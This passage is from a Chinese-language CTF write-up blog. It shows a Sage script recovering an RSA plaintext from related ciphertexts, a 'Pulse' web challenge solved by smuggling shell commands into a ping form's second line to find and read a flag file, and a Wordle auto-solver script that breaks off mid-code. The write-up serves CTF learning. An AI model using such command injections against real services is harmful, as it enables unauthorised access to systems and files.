class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span></span></p><p>和</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>f</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>c</mi><mn>2</mn></msub><mo>−</mo><mo stretchy="false">(</mo><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><msup><mo stretchy="false">)</mo><mi>e</mi></msup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f_2(x) = c_2 - (ax+b)^e \pmod{N}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span></span></p><p>的共根，即 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo>−</mo><msub><mi>m</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x-m_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 為 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>f</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo separator="true">,</mo><msub><mi>f</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f_1(x), f_2(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 的公因式，於是我們可以使用輾轉相除法求出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">m_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p><pre class="line-numbers language-python" data-language="python"><div class="caption"><span>solve.sage</span></div><code class="language-python"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>PublicKey <span class="token keyword">import</span> RSA<span class="token keyword">import</span> json<span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'public.pem'</span><span class="token punctuation">,</span> <span class="token string">'r'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>    key <span class="token operator">=</span> RSA<span class="token punctuation">.</span>importKey<span class="token punctuation">(</span>f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    n <span class="token operator">=</span> key<span class="token punctuation">.</span>n    e <span class="token operator">=</span> key<span class="token punctuation">.</span>e<span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'ciphertexts.json'</span><span class="token punctuation">,</span> <span class="token string">'r'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>    data <span class="token operator">=</span> json<span class="token punctuation">.</span>load<span class="token punctuation">(</span>f<span class="token punctuation">)</span>    c1 <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>data<span class="token punctuation">[</span><span class="token string">'c1'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    c2 <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>data<span class="token punctuation">[</span><span class="token string">'c2'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    a <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>data<span class="token punctuation">[</span><span class="token string">'a'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    b <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>data<span class="token punctuation">[</span><span class="token string">'b'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>R<span class="token punctuation">.</span><span class="token operator">&lt;</span>x<span class="token operator">></span> <span class="token operator">=</span> PolynomialRing<span class="token punctuation">(</span>Zmod<span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">)</span>g1 <span class="token operator">=</span> x<span class="token operator">^</span>e <span class="token operator">-</span> c1g2 <span class="token operator">=</span> <span class="token punctuation">(</span>a<span class="token operator">*</span>x <span class="token operator">+</span> b<span class="token punctuation">)</span><span class="token operator">^</span>e <span class="token operator">-</span> c2<span class="token keyword">def</span> <span class="token function">gcd_monic</span><span class="token punctuation">(</span>f1<span class="token punctuation">,</span> f2<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> f2 <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> f1<span class="token punctuation">.</span>monic<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">else</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> gcd_monic<span class="token punctuation">(</span>f2<span class="token punctuation">,</span> f1 <span class="token operator">%</span> f2<span class="token punctuation">)</span>result <span class="token operator">=</span> gcd_monic<span class="token punctuation">(</span>g1<span class="token punctuation">,</span> g2<span class="token punctuation">)</span>m1 <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span><span class="token operator">-</span>result<span class="token punctuation">.</span>coefficients<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token builtin">bytes</span><span class="token punctuation">.</span>fromhex<span class="token punctuation">(</span><span class="token builtin">hex</span><span class="token punctuation">(</span>m1<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="web" tabindex="-1">Web</h1><h2 id="pulse" tabindex="-1" id="Pulse">Pulse</h2><p>一個網站，輸入網址會幫你 <code>ping</code> 他，可以輸入多行。<br>稍微測試一下發現有擋 <code>;</code>、<code>|</code>、<code>&amp;</code> 等字元，但僅限第一行。因此我們可以在第一行就輸入一個 <code>-</code> 跳掉，然後從第二行 Command Injection</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">-<span class="token function">find</span> / <span class="token parameter variable">-name</span> <span class="token string">"flag.txt"</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>然後</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">-<span class="token function">cat</span> /opt/diagnostics/jobs/e3182e71-d5da-41e9-8b4a-5ef53c36d135/flag.txt<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>然後即可拿到 Flag。</p><h2 id="wrodle" tabindex="-1" id="Wrodle">Wrodle</h2><p>網站是一個 Wrodle 遊戲，要過 50 關，每關有 6 次嘗試機會，同時有生命值是失敗時會扣，扣完遊戲就會重來。當 PPC 打叫 Gemini 跟 Claude 幫我寫個 Script</p><blockquote><p>Gemini 生成的版本是直接用現成字庫去找，但由於字庫裡面可能亦有遺漏，所以我轉而叫 Claude 幫我改成字庫找不到時開始根據已知條件隨機自己生成單字<br>同時因為我們的字庫可能包含太多單字，是題目的伺服器沒收錄的，一直反覆送出他們會花太多時間，所以在得到 <code>not in word list</code> 時把我們自己這邊的字庫中該單字刪掉</p></blockquote><p>都解完會得到</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>hint<span class="token operator">:</span> <span class="token string">"This doesn't look like a flag... maybe it's not letters, but directions to them."</span><span class="token punctuation">,</span> coordinates<span class="token operator">:</span> '<span class="token number">035</span> <span class="token number">083</span> <span class="token number">145</span> <span class="token number">193</span> <span class="token number">233</span> <span class="token number">313</span> <span class="token number">364</span> <span class="token number">422</span> <span class="token number">472</span> <span class="token number">501</span>'<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>猜測那串編號代表第幾個單字的第幾個字母，如 <code>233</code> 代表第 23 關單字的第 3 個字母。</p><p>Claude 給的腳本：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">autoSolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"正在載入 1.2 萬字完整大字庫（包含所有允許猜測的生僻字）..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> baseList <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> wordlistUrl <span class="token operator">=</span> <span class="token string">'https://raw.githubusercontent.com/tabatkins/wordle-list/refs/heads/main/words'</span><span class="token punctuation">;</span>  <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> res <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">fetch</span><span class="token punctuation">(</span>wordlistUrl<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>res<span class="token punctuation">.</span>ok<span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">HTTP </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>res<span class="token punctuation">.</span>status<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> text <span class="token operator">=</span> <span class="token keyword">await</span> res<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    baseList <span class="token operator">=</span> text<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">)</span>      <span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token parameter">w</span> <span class="token operator">=></span> w<span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[^a-z]</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">)</span>      <span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token parameter">w</span> <span class="token operator">=></span> w<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">【字庫載入成功】共計 </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>baseList<span class="token punctuation">.</span>length<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> 個單字！</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"字庫下載失敗，請手動確認網路。"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// ============================================================</span>  <span class="token comment">// 核心修正：獨立的「約束狀態」物件，跟字典完全脫鉤</span>  <span class="token comment">// 不管字典有沒有查到候選字，這個狀態都會忠實記錄所有已知線索</span>  <span class="token comment">// ============================================================</span>  <span class="token keyword">function</span> <span class="token function">createEmptyConstraints</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">exactMatches</span><span class="token operator">:</span> <span class="token function">Array</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">fill</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">,</span>           <span class="token comment">// 每個位置確定的字母 (correct)</span>      <span class="token literal-property property">excludedAt</span><span class="token operator">:</span> <span class="token function">Array</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">fill</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">// 每個位置「已知不可能是這個字母」的集合</span>      <span class="token literal-property property">minCounts</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>   <span class="token comment">// 每個字母「至少」出現次數（取歷史所有輪次的最大值）</span>      <span class="token literal-property property">maxCounts</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>   <span class="token comment">// 每個字母「最多」出現次數（一旦某輪出現 absent，鎖定上限）</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 每一輪 feedback 進來後，用「疊加」的方式更新約束，而不是覆蓋</span>  <span class="token keyword">function</span> <span class="token function">updateConstraints</span><span class="token punctuation">(</span><span class="token parameter">constraints<span class="token punctuation">,</span> guess<span class="token punctuation">,</span> feedback</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> roundCount <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span> <span class="token comment">// 這一輪猜測中，每個字母被標記 correct/present 的次數</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> char <span class="token operator">=</span> guess<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">const</span> status <span class="token operator">=</span> feedback<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>status <span class="token operator">===</span> <span class="token string">'correct'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> char<span class="token punctuation">;</span>        roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>status <span class="token operator">===</span> <span class="token string">'present'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        constraints<span class="token punctuation">.</span>excludedAt<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>char<span class="token punctuation">)</span><span class="token punctuation">;</span>        roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> char <span class="token operator">=</span> guess<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">const</span> status <span class="token operator">=</span> feedback<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>status <span class="token operator">===</span> <span class="token string">'absent'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        constraints<span class="token punctuation">.</span>excludedAt<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>char<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 這個字母在這輪的「已確認次數」就是它的總數上限</span>        <span class="token keyword">const</span> cap <span class="token operator">=</span> roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">;</span>        constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">=</span> constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token keyword">undefined</span>          <span class="token operator">?</span> cap          <span class="token operator">:</span> Math<span class="token punctuation">.</span><span class="token function">min</span><span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span><span class="token punctuation">,</span> cap<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> char <span class="token keyword">in</span> roundCount<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">,</span> roundCount<span class="token punctuation">[</span>char<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">function</span> <span class="token function">matchesConstraints</span><span class="token punctuation">(</span><span class="token parameter">word<span class="token punctuation">,</span> constraints</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">&amp;&amp;</span> word<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">!==</span> constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">5</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>exactMatches<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>excludedAt<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>word<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">let</span> wordCounts <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> char <span class="token keyword">of</span> word<span class="token punctuation">)</span> wordCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>wordCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> char <span class="token keyword">in</span> constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>wordCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> char <span class="token keyword">in</span> constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>wordCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">></span> constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>char<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// ============================================================</span>  <span class="token comment">// Fallback：當字典完全查無候選字時，直接對 26 字母做約束式 DFS 窮舉</span>  <span class="token comment">// 不依賴任何外部字典，純粹用邏輯推導出所有「理論上合法」的字串</span>  <span class="token comment">// ============================================================</span>  <span class="token keyword">function</span> <span class="token function">bruteForceGenerate</span><span class="token punctuation">(</span><span class="token parameter">constraints<span class="token punctuation">,</span> limit <span class="token operator">=</span> <span class="token number">3000</span></span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> letters <span class="token operator">=</span> <span class="token string">'abcdefghijklmnopqrstuvwxyz'</span><span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">''</span><span class="token 